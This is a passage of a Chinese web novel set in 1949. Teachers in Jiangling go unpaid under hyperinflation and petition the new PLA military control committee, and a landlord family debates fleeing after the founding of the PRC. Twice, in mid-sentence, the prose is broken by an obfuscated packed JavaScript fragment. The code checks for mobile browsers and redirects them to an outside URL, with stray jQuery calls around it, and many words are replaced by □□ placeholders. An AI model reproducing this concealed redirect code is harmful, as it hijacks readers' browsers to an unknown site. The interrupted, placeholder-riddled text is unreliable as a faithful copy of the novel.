一番话说得一群同僚深有同感之余,心底都有些发凉,刘慧坚不住地发牢骚,抱怨连小菜都买不起,两个孩子整天只吃萝卜皮,面黄肌瘦,那一回梅思拿了几个鸡蛋给自己,带回家后煮熟了,还不等在冷水里面过完凉,孩子们小饿狼一般便扑上来,差一点连蛋壳都塞进嘴里,当时看得自己那个心酸哦。 梅思想到了美霞姐的信,里面说桂林人早就已经把金圆券称为“湿柴”,当柴禾引火都点不着,倘若真少了它又不能,金圆券拿到手里的那一刻,事实上就开始贬值,让人心慌得不行。 她本待要把这些话说出来,可是想了一想,终于还是没有说。 刘慧坚哀叹着,转头忽然对这边的朱光屏和李秀第说:“幸好你们都是一个人,像我们有孩子,这份薪水很难支撑。” 听了她这两句话,朱光屏是镇定惯了的,倒是还好,李秀第望着她凄然便是一笑:“慧坚姐,怎么连你也这样说?我的日子过得怎样,难道你还不知道么?整天只是白水煮青菜了。” 蒋大公子上海滩打老虎,虎头蛇尾,草草收场,人们本来还对金圆券有些信心,如此一来,那一点指望基本破灭,所以金圆券的崩溃一发而不可收,自己的姐姐姐夫到这时已经彻底破产,根本无法给自己以奥援,自己倒是寄了一点钱去给她们应急,所以自己如今这日子,过得也实在是拮据。 冷雨虹也道:“是啊,像是有人说的俏皮话,‘一个人吃饱,全家不饿’,不过是玩笑罢了,像是我们有个家,虽然拖家带口很是为难,不过遇到事情总能有人商量,像她们独个在外面,所有的事都只能自己应付,若是生了病,又或者像这样发不出薪来,找人帮衬都为难。” 刘慧坚也勉强笑起来:“我方才是说的笑话,孤身谋生的苦,我自然是知道的,好在她们四个齐心,在那庙里仿佛四大金刚似的,倒也能把生活过下去。” 时世艰难,因此都已经住了几年的寄宿舍,却依然都没有结婚,张宏远本来是去年要成家的,因为没有钱,只得拖延下来,这一阵说未婚妻也要搬过来住,省一份房钱。 大家越说越是激愤,到最后有人提议:“不如我们也罢课吧,不发薪就不复课!” 刘慧坚本来很是激烈,这时候却有些迟疑:“倘若罢课,是不是有点对不起校长?” 上面肯定要算到庄校长的头上,校长与大家的关系不错,发不出薪水也不是她的过错,她整天不在学校,就是忙着四处筹款,此时倘若□□们罢课,难免连累校长。 李秀第愤愤地说:“也实在怪不得我们,并不是有意拖累校长,假如县长责怪校长,我们就再罢课。” 一群人正乱哄哄议论着罢课,忽然财务的小尚进来对大家说:“发薪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407126|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发薪了,大家都来拿钱,三月的薪水发下来了!” 梅思忙问:“那么四月的呢?” 小尚一脸无奈:“校长跑断了腿,才弄到手这一笔钱,四月的还要再等等。” 游国昌霍然站起:“有一点是一点,先把三月的结了再说。” 其她人也说着:“是啊,总比半个钱都没有强。” 于是十几个人呼啦啦涌出办公室,直奔会计室而去。 三月的薪水勉强是发了出来,五折,另外一半不知在哪里,何年何月才能发放,不过能有一半的薪水,大家也已经很是满足,四月的还不知什么时候发,更不要说五月的薪金。 到了这个时候,□□们已经没了顾忌,有时候得了一点空闲,坐在办公室便要议论起来: “猴年马月呢,能补齐前面的薪水?” “只怕国民政府倒了都未必拿得到。” “啊呀,你竟然想到这上面了!别看平时不爱说话,说出一句吓死人呐。” 对方便笑:“莫非你没有想到么?都推到我身上。之前三次大仗,国军都败了,如今共产党在长江上正打着,等他们过了江,国民政府便完了,欠我们的薪水,自然就都打了水漂,一朝天子一朝臣,还想要回来么?” 梅思在旁边听着,对于未来局势的预测,自己其实是与他一样的,从去年秋天到今年春节之前,国民政府经历了三次惨败,辽西会战、平津会战,还有徐蚌会战,大批大批的国军覆灭于解放军之手,委员长便“下野”了,不需要很高明的才学,也知道蒋家王朝气数将尽,于是才有李代总统的上台,然而情形也是不妙,依然是继续打,大批广西子弟倒在内战的战场上。 而从今年四月下旬,解放军开始进攻长江防线,如果渡了江,南京便难以守卫,国民政府又要搬迁了,这一会不知要搬到哪里去。 其实对于国民政府的前途,在如今的情形之下,已经少有人去关注,大家每天担忧的都是自己的衣食,经济愈发恶化了,饿死人已经不再是很惊悚的新闻,只担心下一个便轮到自己,所以就连本来最为支持政府的张宏远都在说:“不管是哪一方赢,快一点别打了吧,只要能够不打仗,怎么样都好,再打下去,人都要饿死了。” 六月初,解放军全面渡江,而武汉早在五月十六号便解放了,于是湖北震动,随着中共军队的步步靠近,学校里□□们都在说着: “还要上课么?” “要提前放暑假么?” 庄令粲的回应是:“照常上课,毕竟还没有到荆州,学生们的课业不能耽误,在这样纷乱的时局,人心也乱纷纷,本来已经很是妨碍课业了,当年日本人快要来的时候,我们也没误了功课。” 听到庄令粲这样的类比,□□们一时都默然,梅思则是想到,前不久接到家里的信,母亲说如今那宅子里的人,满口议论的都是“走共产党”,这样的构词方式,就好像当初“走日本鬼子”,同样是“走难”。 庄令粲终究是个机敏的人,马上也发觉自己这话里有语病,于是便接了一句:“更何况如今是共产党解放军呢,无论如何总不至于大乱。” 好容易到了七月的暑假期,外面情势愈发紧张,梅思便索性每天都不出去,与李秀第朱光屏几个人关起龙王庙的门来,整天就守在里面,张宏远的未婚妻褚爱莲这时候也来了,五个人时常在梅思的房间里聚会,因为她这里有寄宿舍唯一的一台无线电。 这一天七月十六号上午,她们几个又挤坐在小小的宿舍房间里喝茶。 褚爱莲是个爱说笑的,看着桌面上那一台旧无线电,她便乐起来:“要说还是有这个好,省了天天出去买报纸,报纸贵啊,而且这种时局,派谁出门呢?” 她转头望着张宏远,笑着一推他:“按理说该你去,只是要小心别给抓了民夫,你虽然打枪不成,帮忙扛个小火炮还行。” 张宏远愁眉苦脸看着她:“所以还是你们女人去吧,抓民夫总抓不到你们头上。” 朱光屏与梅思都笑起来,李秀第则是触景生情:“我姐姐家里的无线电啊,拿出去换了一篮鸡蛋。” 小康破产,虽然不比赤贫的长久惨烈,却也别有一种凄凉。 梅思说了一声:“还是听听有什么消息。” 走过去扭开无线电,里面传来一个清爽的女声,如同旭日朝阳一般明朗振奋地说道:“新华社播报,就在今天早上八点,我中国人民解放军解放荆州!” 于是房间里瞬间静默无声,面面相觑。 46.第四十六章 索薪 第四十六章 索薪 八月下旬,暑假结束,学校重新开课,学生们来得零零落落,然而教yuan们却依然要登上讲台。 到了这个时候,荆州已经开始安定下来,进驻各处的解放军,大家也已经渐渐看惯了,确实是纪律严明的,于是便逐渐恢复了秩序,安定了情绪。 因为对中共的恐慌正在消退,另一件事便提了上来,便是薪水,自从五月里发过一次三月份的薪金,到现在八月末了,从四月到七月的薪资全都没有发放,这还是说的五折后的月薪,倘若算上历来的欠薪,不知亏了多少,战争持续了三年多的时间,到了这个时候,许多人原本并不丰厚的家底早已耗尽,再不能支撑,于是大家聚在办公室里,一个话题就是索要薪金。 “四个月的薪水还没给,家里实在没米下锅。” “问过校长了没?不指望拖欠的那五折,能把余下的一半发下来,已经是谢天谢地。” “已经问过了,校长说她也不是很清楚,去找过军管会了,那边暂时没有答复,倒是也能理解啊,刚刚‘解放’,凡事都乱着,一场仗打下来,又是伤又是病的,本来就一堆的麻烦,哪里还能顾得上我们?” “莫非就这样熬着?几天不吃饭,要饿死的。” 大家你看看我,我看看你,刘慧坚咬着牙道:“不如我们集体找军管会请愿,起码先要到七月的薪水,七月就‘解放’了,我们在那时也算是共产党的人,找她们要钱,总不能不管!” 家里实在是熬不下去了,亲戚朋友都是一样的困窘,借不到什么,同僚们倒是都患难与共了,很有同事的情谊,比如梅思,寄宿舍院子里种的小菜,有时会拿一把给自己,起码能熬一点菜汤,然而终究是杯水车薪,况且只喝菜汤,纵然不至于完全饿死,饿得半死也是苦痛,自己实在看不得两个孩子脸上都是菜色。 因此刘慧坚便想,去向共产党的军管会提出请求,她也知道,单凭自己一个人,只怕是不行的,所以便想着找同事们一起去,毕竟大家也都是忍耐已久,再这样拖着,便要把人拖死了。 此时她这样一说,一众□□们的情绪便也激动起来,游国昌两只眼睛放着光,站起来激昂地说:“对,去找军管会,集体请愿,□□毕竟不是神仙,不用吃饭就能饱了的,如今是共产党当家,找她们要钱!” 大家纷纷应和,朱光屏这个时候提出了一个很现实的问题:“我们纵然是一起去军管会,总要有人主持这件事,见了那边的长官,由谁出面说话?” 一问到这件事,众人方才的热情瞬间降了下来,全都闭起嘴巴不说话,要么转头望向窗外,要么低头看着自己的指甲。 梅思瞧了瞧大家,想了一想,终于慢慢地说:“或者我去说吧。” 她这一句话讲出来,所有人的视线登时都投注到她的身上,梅思一瞬间仿佛能听到那“刷”的一声响,同僚们的眼神显然是说:真难得啊,这种事情居然有人肯当出头鸟! 片刻之后,办公室里终于有了动静,刘慧坚站起身来,走到她的身边,拍着她的肩膀说道:“梅思啊,这件事就拜托你了,你不要担心,我们都会和你一起去,有了事情大家一起担着,不会让你一个人扛。” 其她人也纷纷说着: “是啊,梅小姐,你尽管放心,这是大家的事,不会都推到你一个人身上。” “梅先生,多谢你肯担这样的重任。” 张宏远坐在旁边,左看看右看看,憋得脸红脖子粗,两分钟之后终于说道:“我也一起去说!” 众人的视线“嗖”地一下又转到了他的身上,鼓励的声浪再一次涌起:“宏远啊,真亏了你有担当,有你一同去,就更把握了,不至于人单势孤。” 替梅思分散一下风险,免得军管会的注意力都集中在她一个人身上。 李秀第撸起袖子:“我们现在就写请愿书!” 于是先打草稿,从旧作业簿上撕下来一张纸,一片喧嚷声中,梅思用铅笔飞快地记录,写成初稿,其她□□往那纸上一看,都不认识,全是各种古怪的符号。 梅思便给大家读了一遍,闹哄哄议论纷纷之中,又修改了两遍,最后定稿,找了两张白纸,又研了墨,梅思用毛笔蘸了墨汁,在那纸上工工整整地便写起来,落款是:江陵县立小学□□全体 当天晚间,寄宿舍之中,张宏远有些为难地和褚爱莲说起:“今天写了请愿书,明天大家都不上课,要去军管会集体请愿索薪。” 褚爱莲点头:“早就应该这样办了,一直不支薪,让人怎样活呢?” 见褚爱莲并不反对,而且还支持,张宏远的心便也安稳了些,又说道:“明天是我和梅思两个人代表大家发言。” 一听到他这一句,褚爱莲的脸色登时就变了,一张脸瞬间白了,转而又胀得通红,胸中涌起一股气,登时便要激动起来,然而她很快克制住了自己,强抑住那一口气,压低了声音道:“为什么你要去说?有她一个人,足够了,你也是读过书的,岂不知‘木秀于林,风必摧之’?出头的椽子先烂。你伙着大家一同去,倒无所谓,‘法不责众’,可是若是出面说话,便要仔细斟酌,军管会的人未必会记得哪个人来了,却一定记得是谁出头露脸发言,你一向挺稳重的,这一回怎么这样急躁?” 听到她这样的责备,张宏远脸上青一阵红一阵,额头上青筋都迸了起来,磨着牙哼哼了几声,终于粗着嗓子顶道:“我一个男子汉大丈夫,这种时候怎么能躲在女人身后?本来便是应该由男人来承担,都推给女人,算什么本事?我就不信,那军管会还能吃了人?不是口口声声人民的军队吗?难道我们这些□□就不是人民?况且你这些日子不是和她很是要好?姐姐长妹妹短的,这种时候你把她推到前面去,你也忍心。” 张宏远前面的话倒还罢了,后面这几句实在太诛心,刺激得褚爱莲面上简直能滴出血来,噎了片刻,才终于找出话来说:“又不是我要她去,她若是能够和别人一起待在后面,自然是好,如今是她自己要冲到前面,又能怪谁?我是一心为了你,你倒当做驴肝肺,须知你不是一个人,你是有家的人,我这肚子里已经……你若是有什么闪失,让我怎么办?” 褚爱莲说出这样一番话来,张宏远一时也没了话讲,蔫头耷拉脑,不作一言,过了片刻,勉强说道:“你怎么不早说?虽然是这样,我话都已经说了出去,这时候要反悔,惹人笑话,今后在同事面前也没法做人。你放宽心,未必有事。” 褚爱莲也明白事已至此,说什么也没有用,只得听天由命,她有几个同学思想□□,听她们说,中共很不错的,施行的是千百年人们向往的“仁政”,张宏远纵然去了,或许也不会有大事。 第二天八月三十号,全校停课一天,□□们清晨在校门前集齐了,便簇拥成一团人,往江陵县军管会走去,本地刚刚解放,原本国民党的县政府自然不能再管事,地方上一切行政事务,都暂时由解放军的军管会主持管理。 来到军管会,便要求见这里最高的负责人,听说是县里小学校的□□团体,想到解放军内部出了名的“重视知识分子”政策,值班军官当即报告了营长,营长万云龙便出来接见,梅思望着这位从里间走出来的军官,三十几岁的年纪,身材高大魁梧,非常健壮,国字脸,浓眉大眼,典型的英雄形象。 这位万营长一张嘴便是满口的北方腔调:“各位先生们,你们来找我,有什么事儿吗?” 听到他的话,梅思从恍然之中清醒过来,回到了当下,定了定神,张口道:“万营长,我们县立小学校已经欠薪四个月,而且薪水还是打五折,到现在已经实在难以坚持,所以希望政府能够补发薪资。这是我们的请愿书,请您过目。” 说着,从皮包里取出那一份请愿书,双手递给了万云龙。 万云龙接过那两张纸,视线草草刷了一遍,先不说这上面的文辞儿,字是写得挺好看,不愧是读书人,看看人家这笔字,肯定是练过的,咱这大老粗就比不了,贫农出身,到了队伍里才学的认字,到现在有时候还写别字,写出的那字也是又粗又丑,和人家的根本不能相比,放在一起给人看,一定会招人笑的。 看过了之后,万云龙把请愿书往桌面上一放,爽朗地笑着说:“你们这封信,我收下了,不过我也没有权力处理,等我往上面汇报,由上级首长决定该怎样办。” 梅思皱了皱眉,刚要说点什么,旁边张宏远急了,一步跨到她前面,高着嗓子辩道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413640|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长官,你不能这样,你这是在敷衍我们,要我们究竟等多久呢?大家都要饿死了!” 国民党的官僚习气啊,张宏远虽然是一个教书匠,与政府少打交道,不过耳闻目睹的也不少了,国民政府就是这么干的,不管什么事情,都说“往上报”,然后就是石沉大海,一天一天、一月一月地拖下去,直到最后拖得人都没了脾气,再不想多问了,他们便当作是把这件公务办理完了。 梅思见他焦躁,连忙悄悄地向后一拉他,自己走到前边,说道:“万同志,请体谅我们的焦急,之前因为战争,财政拨不出钱来,物价又是飞涨,大家已经苦熬了很久,总算盼到这里的战斗结束了,以为应该有一些缓和,就希望能够想办法发一点薪水,解燃眉之急,不然的话,再等下去,实在受不了了。” 万云龙本来也有点烦恼,见梅思这样说话,便把火气稍稍散去一些,笑着问:“先生贵姓?” 梅思说:“您客气了,我姓梅。” 万云龙点了点头:“原来是梅先生,梅先生啊,我和你说,不是我有钱不给,实在是现在各处都在要钱,我们打这场仗也不容易,部队还需要地方支前呢,解放全中国,动员了许多的民工,这是个大事件,当然不是说先生们的薪水就是小事,只是荆州这不是刚刚解放吗?那么多事情,要顾到这件事,总得等几天。我虽然负责这里的防守,可是手里并没有太多物资可以调用,毕竟仗还没打完呢,别的地方还是要钱要粮,所以我就得上报,这不是拖着你们,实在是按照规定,我没有这样的权力,必须得请示上级,就请你们稍安勿躁。先生们尽管放心,这件事我负责到底,绝不会推诿的,今天也不能让各位空手而回,小陈,跟后勤说,给先生们拿五十斤大米,先应应急。” 警卫员答应着去了。 □□们稍感安心,纷纷说道: “既然万长官是这样勇于任事,做了担保,我们便放心了,一切都拜托万长官。” “万长官用军粮给我们作束脩,很是让人感动。” 这个时候,梅思问道:“万同志,你是东北人吧?” 万云龙点头道:“是的,我是黑龙江人,我们四野,很多人都是东北人。” 梅思慢慢地说:“四野的司令员,是林将军。” 万云龙笑道:“是啊,就是林司令,梅先生也知道他?” 那是不意外的,□□司令啊,赫赫威名的抗日名将,平型关大捷,自从解放战争开始以来,又指挥四野打了许多打胜仗,辽沈战役就是四野打的,所以这个江陵县城的小学□□知道林司令,也是顺理成章的。 却听梅思幽幽地说:“当年我在延安,看到过林将军。” 万云龙登时便是一愣,眼前的这位梅先生,她去过延安?那可是中国革命的圣地,自己是解放军的营长,都没有去过延安,她竟然去过,这究竟是个什么人啊? 似乎也察觉到有些失态,更有些失言,梅思咬住了嘴唇没有再说,就在这个时候,警卫员小陈扛着一袋大米回来了,重重的一大袋,五十斤,往地上一撂,“咚”的一声响。 万云龙便又恢复了方才豪爽的态度,笑着对□□们说:“各位先生,眼下队伍里也困难,实在没有多的,这一袋大米,你们先拿回去顶一顶,欠薪的事我一定尽快上报。” 刘慧坚等一群□□连声道谢,张宏远弯下腰去,将那袋大米扛在了肩上,梅思给他在后面托着底,大家便离去了。 等这些来索薪的□□们离开,小陈望着门口,“哼”了一声,讽刺道:“县立小学的□□,给国民党教书的,来找我们解放军要钱,营长,这是不是有点脸大?那男的刚才还劲儿劲儿的,跟我们掰扯,拔犟眼子,是看我们解放军好说话是吧?我看他真该挨顿尅。” 万云龙咧嘴一乐,说道:“小陈啊,你这话要是给教导员听见,你就要挨尅了。那都是知识分子,对知识分子要尊重,明白吗?况且她们从前是国民党政府的□□,现在这里解放了,建立人民政府,以后就都是人民政府的□□,咱们想办法给她们发点钱救救急,也是应该的,要是把□□们都给饿坏了,大家伙儿下一代谁来教?等仗打完了,我们还要建设新中国呢。” 小陈噘着嘴,不说话了。 47.第四十七章 开国大典 第四十七章 开国大典 □□们集体去向军管会请愿之后,没过几天,薪水果然就发下来了,连同八月的一起,发了五个月的薪,虽然是按照五折的数目来发,然而大家已经心满意足: “在这样艰难的情形之下,还能发我们的薪水,实在很是感谢。” “是啊是啊。” 战争还在持续,国民政府虽然眼看大势已去,难以回天,残存的部队毕竟还在顽抗,战争这个火炉,还需要继续添加燃料,虽然不像是之前那样,如同巨兽一般大口吞噬,但毕竟依然要投入,在如此情况之下,这么快就发给部分薪金,实在难能可贵。 更何况军管会的长官还说了:“各位先生们,现在咱们的财政也是吃紧,一时没有那么多,等过一阵充裕了,余下的那一半也会补回来,你们放心,人民政府绝不会不认账!” 于是人们愈发叹服敬佩: “真的是仁义之师!” “这就是王政。” 中共解放军的处境确实是不容易,北方人到了南方,水土不服,环境很不能够适应,这些天大家已经知道了,四野许多人得了疟疾,军械都没人扛了,所以中共地下组织就发动了民工,中共的解放战争,本来就是人民的战争,需要人民出力,在荆州,这一点显得格外突出,影子政府动员大众出人出物,暂且不说人力,许多物资在战火之中都化作云烟了,这种情况下,荆州本地的财力物力确实是紧张的,中共能够在这样的景况之下,抽出钱来发薪,实在很可感动。 甚至还要补发拖欠的五折,若是按一般的想法,国民政府的欠薪,与中共政府有什么相干呢?又是如此窘困的情况,大可以板起脸来一概不认,然而中共却承担了下来,不但这五折发了,那五折也承诺要补发,这就可见中共的气度,这才是有担当有气概,让人信服,与中共的王道相比,国民党就是霸道,“得道多助失道寡助”,难怪国民政府会失败。 当时听到万云龙这样的允诺,连张宏远都默默无言了,双方的反差实在太大。 得了这样一笔钱,简直是久旱甘露,雪中送炭,于是买米的买米,割肉的割肉,都兴兴头头,仿佛过年,梅思则是坐在梅林之中,出神地看着手中的钱,是人民币,中国人民银行发行,过了一会儿,她站起身来,在储物窝棚里找出一个马口铁的饼干盒,打开来,里面是一些小件的东西,梅思从盒子里翻出几张纸笔,当年的边币,发行银行是边区银行,又发了一阵愣,梅思将几张人民币与边币放在一起,关闭了盒子,重又收藏起来。 到这个月过完,十月一号这一天,礼拜六,全体放假,这一天是新中国建立的日子,荆州市县,但凡有无线电的,差不多每个人都守在无线电前。 梅思也不例外,从这天的早上,吃着早饭,就打开了无线电,虽然建国的庆典是在下午三点,然而心情实在不平静,简直坐立不宁,勉强拿起书来看,终究读不进,也不知该做什么是好,她就这样等啊等啊,料理午饭都是心忙意乱,急匆匆的,到午饭也吃过了,距离三点钟还有一段时间,梅思感觉有些发困,便从床头拿起一册书,硬着头皮往下读:“……这里面有无可奈何,有容忍与放任──由疲乏而产生的放任,看不起人,也不大看得起自己,然而对于人与己依旧保留着亲切感……” 虽然见识的上海人并不多,不过这一篇文章实在写得有趣,作者是张爱玲。 上海孤岛时期,文坛的情形少为外界所知,对于那段时间新崛起的人,无论是边区还是国统区,都了解有限,比如梅思就是在抗战胜利之后,才晓得张爱玲的名字,得知她在那几年大红大紫,诡异地盛放,就仿佛上海桂林在战争期间的繁荣,都带了一种妖气。 不过她的文章倒是很有意思,知道了张爱玲很是当红,梅思好奇之下,也曾买过几本书来看,先读小说,又看散文,别的都罢了,这一篇《到底是上海人》,即使对上海人的秉性所知有限,读过也感觉亲切,梅思捧着书微微一笑,不由得便想起了陈露云。 她这样读着书,忽然之间收音机里,一个湖南口音的男声高亢振奋地说:“……中华人民共和国中央人民政府委员会,于本日在首都就职,一致决议,宣告中华人民共和国中央人民政府的成立……” 梅思陡然间仿佛给一条带着火花的皮鞭抽打在脊椎骨上,条件反射一般挺直了身体,是毛主席的声音,几年时间过去,没有太大改变,并不显得苍老,依然是很有力的。 从自己离开延安,便再没有听到过这个声音,屈指算来其实不过六年,然而在梅思,却已经仿佛几十年光阴过去,简直沧海桑田,变化实在太大了。 新中国成立的庆典从下午三点,一直持续到夜间,梅思起先坐在椅子上,一动不动地听,设想着北京此时的气氛,那么多胜利了的革命者,“我们到北京,定能使北京成为红色的北京,快活的北京,革命空气布满全社会的北京”。 到了傍晚六点多,实在该料理餐食了,然而典礼还在继续,梅思只得勉强站起身,很不情愿地点起了风炉,一边煮粥,一边竖起耳朵继续听着,吃粥的时候也听,晚饭后一时间连碗都懒得刷,吃过后便丢在一旁,依然是听,直到夜里九点,这盛大的典礼才终于结束。 无线电里,播音员说庆典完毕,梅思“吁”地便吐出一口气,绷紧的身体瞬间放松,盛典当然让人激动,只是一直这样聚精会神听着,想要丝毫不漏,就有点累人,这举国欢庆的一天虽然没有去工作,休息在寄宿舍,然而却仿佛在学校教了一天的课,实在有些疲乏,到了这个时候,便很想睡觉了,于是梅思烧水擦洗了身体,便上床休息了。 她这边躺在了床上,虽然仍然心潮起伏,思虑百端,毕竟相对还算轻松,此时平乐县城中,黄家大宅里可正是如同烧开了的滚水一般,翻腾着不住冒气泡。 正房之中,黄皓在地上重重地跺脚,不住地骂:“什么开国大典?我们南边不服!你看看白长官答应吗?再看看胡长官在四川答应吗?南方还有小半壁是国民政府的,他们就以为天下已定了,可以建国了,何其的好笑!……” 卢兰玉半躺在床上,两只无神的眼睛冷淡地望着他,等他这一顿发泄完了,卢兰玉喘了两口气,恹恹无力地劝道:“老爷,不必这么烦恼吧,气大了伤身体,这几年你的身子不比从前了,要克制一下脾气才好,再不可像年轻时一般暴烈了。共产党建不建国,也碍不着我们什么,这些年毕竟没闹出人命来,更何况……” 说到这里,卢兰玉两眼一亮,重重喘息了几下,用力说道:“更何况我们的幼蕊,当年也投过共产党,去了延安的呢,毕竟也是有缘,我们也算是革命者的家里人,哪能那样绝情?” 不听这几句还好,听了卢兰玉这几句话,黄皓的火气不打一处来,胸中刚刚有些低落的火焰,登时又给勾了起来,火苗窜得比方才还高,人差一点便蹦了起来,高声叫道:“你的好女儿!她要么当初就别去,要么去了就别回来,一直在那里死挺着才好,活到如今,总能混个□□的干部当当,我们这个家,就是共产党干部的家,她就算死了,我们也还是烈士的家属,结果她半路跑回来,弄到不上不下,她自己尴尬,我们也没什么好处可拿,‘一不做二不休’,她连这个都忘了?像是她干出这种事来,等共产党真的来了,让我和人家怎么说?‘我家三丫头当年也是共产党的人,在延安几年的,后来受不住回家来了’?” 卢兰玉给他这一顿爆发,也落得扫兴,闷着头又思量了一阵,抬起头来辩解:“虽然她当初是去了又回来,毕竟比没去过的强,她在那里几年的,总能结交几个好朋友,共产党的同志,倘若能找到那些旧时友好,或者能说情,我家的地,就多留下几亩。” 黄皓听她这样讲,一时间也有些意动,低下头来沉思,这主意究竟有几分可行。 三姨太许桂珠风一般走来,掀开帘子进了门就是几声冷笑:“啊哟太太,您可真是个多情之人,到了这时候,您还想着三小姐在共产党那边的旧人呢?人家如今都是开国的功臣,她算是什么呢?到手的鸭子飞了,羞也羞死了,只怕就连三小姐自己,都不好意思去讨人情。” 黄瑞成歪坐在椅子上,半个身子搭在扶手上,瞠目向着许桂珠,说道:“三姨娘,我母亲毕竟是大太太,正室夫人,您说话尊重一些。” 许桂珠斜睨着黄瑞成,挑着眉毛又是几声讥笑。 紧随着许桂珠之后的黄瑞安,则是毫不客气地笑着说:“啊哟瑞成,现在新中国了,大家都平等了,哪还有什么大太太姨太太的说法?又是什么嫡庶的,那都是旧观念,该抛却了。” 黄瑞安也是心高志大,从他幼年时候,“庶出”就是扎在心头的一根刺,随着年龄增长,这根刺越来越深,想尽了法子要拔出来,只可惜一直没能找到办法,黄老爷虽然心爱三姨太,然而岳家毕竟是本县的望族,不好“宠妾灭妻”的,自己的娘硬生生没办法扶正。 纵然是大太太自己死了,自己的娘成了正室,终究是姨太太的底子,他读《红楼梦》的续篇——《红楼梦》有许多续 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看一看自家,正牌少爷瑞成迂腐无用,整日就只知沉浸在头脑里,想这个想那个,仿佛比谁都高明,这一点他倒真有点好像宝玉,然而要他去做些什么,是万万不行的,诚然是瑞成身体不好,然而黄瑞安以为,即使瑞成的健康过得去,以他的那个性子,也是如此,议论起来一套一套,做起事来半点也不行,论起真干事,还不如他的小妹妹,那个半途而废的幼蕊,然而即使是这样,他是嫡子,就占着尊位,天然有一层光环。 所以黄瑞安作为一个无论如何也是少爷的人,虽然也敌视共产革命,但在庶出这一点上,他又不由得要赞同共产党,就是要消除嫡庶之间的不平等! 见到了这母子二人,卢兰玉与瑞成都是气喘吁吁,瞠目而视,傅传芳给婆婆捶了后背,又去为丈夫按摩前胸,两头奔走忙得头上冒汗,口中说着:“已经是这个时候,便不要吵了,共产党就要来了,到底是要怎么办?” 真的是,眼看大厦将倾,这些纠葛还没完没了呢,洪水滔天也不忘了掐架,究竟是走还是留,该赶快定下来了,没见王家和庞家已经打点家产走了么?都是本地有名号的,就是自己的娘家,也已经在张罗着跑路,昨天娘还捎信来,要自己早谋后路。 傅传芳这几句话,如同迎头的冰水一般,给全屋人的火气都降了温度,黄皓登时想起眼前的烦恼:“你说得容易,若是能够早定,我早就定下来了,当年打日本人,也没这么干瞪眼啊,如今要卖房子卖地,哪还有人肯买呢?那帮穷鬼,一个个都等着共产党来了,给她们分田分地呢!” 日本人来了,自己还能当当维持会长,可是眼下是共产党要来了,共产党是不接受投诚的啊,国军的士兵可以投降,自己没办法投降,共产党要的是自己的房屋田地、金银财宝,甚至可能要自己的命,自己虽然没有逼死过人命,然而却有一房年纪小小的姨太太,五姨太,倘若给人告发,或者是她干脆闹起来,自己这个就叫“抢男霸女”啊,也是个不小的罪名,当初娶了这个孩子似的五姨太,只觉得枯木回春了,一把年纪仿佛又回到了少年,如今看来竟是个祸根。 当家人这几句话一说出来,其她人一时也都无话,黄瑞安肚内一颗心如同车轮般转了起来,房屋土地这一类固定不动的财产,多数是掌握在男人手中的,自己从前也很以此为傲,以为本来就该是这样,男子如山,女子如水,山是稳固的,水是流动的,山是永恒的,水是易逝的,女人也不是丝毫没有财产,比如妆台里的金银首饰,默认是归属女子的,小巧轻便,拿了就可以走,就好像她们的命运,是轻易便可以迁移的,如同落花飞絮,随风飘荡。 然而“尺有所短,寸有所长”,再怎样有利的设想,也不是所有情形都能得到好处,再怎样不利的处境,也不是永远都不利,若是遇到特别的局面,便可能颠倒过来,比如说如今自己家里,老爷死守着田地,从今年年初徐蚌会战之后,自己就开始劝,然而直到今天,中共都建国了,老爷还是拿不定主意。 黄瑞安当然是能够理解黄皓,土地是根本啊,曾祖父传给祖父,祖父又传给父亲,历代相传的产业,哪能就这样舍弃?黄皓是深深地扎根在这里,若是要他就这么走了,简直是拔掉了他命根,他怎么能够轻易做出决定呢?就是自己,虽然时时焦急,暗自腹诽老爷果真是年纪大了,英雄气短,再比不得当年的当机立断,然而若是真的舍弃了这么一片家业,逃亡到香港澳门,自己也是心痛。 这种时候倒是太太小姐更方便,首饰匣子就在桌面上,到时候拿了就走,很是便利,少有留恋。 黄皓连连喘着粗气,眼睛望着四面,内心显然在煎熬,忽然间,他望见了卧在床头的太太,张口便骂道:“都怪你,若不是为了你这病,我一家早就走了!” 卢兰玉倒在那里直翻白眼,从没有过的夫妻情深,竟然为了自己,不肯逃亡了。 48.第四十八章 最后的关切 第四十八章 最后的关切 到了这一年的十二月中旬,广西宣告解放,梅思到了这个时候,再也忍耐不住,便向学校请了假,回家去探望,因为还有一个月就要放寒假,庄令粲便不很为难地准了她的假,临别的时候还说:“不要担心这里,在家里多陪伴一下母亲。” 梅思归心似箭,匆匆买了车票,便回去故乡,在桂林火车站下了车,看到车站前站岗的已经是解放军了,这个时候的解放军,早已不再是延安八路军的灰军装,而是土黄色的军服,梅思在江陵便看过的,当时感觉颇有一点陌生,面貌大不同了,仔细再看,那种昂扬向上的精神气质却依然是延安的风格,于是便又感到熟悉,如今解放军终于到了自己的家乡来。 从桂林又换人力车,第三天上午,回到了平乐,进了大门,便看到庭院里一派冷落荒芜,干枯的草地上飘着碎纸垃圾,以往的佣人们也都不见踪迹,空空荡荡,脚步声略大一点,便可以听见回音。 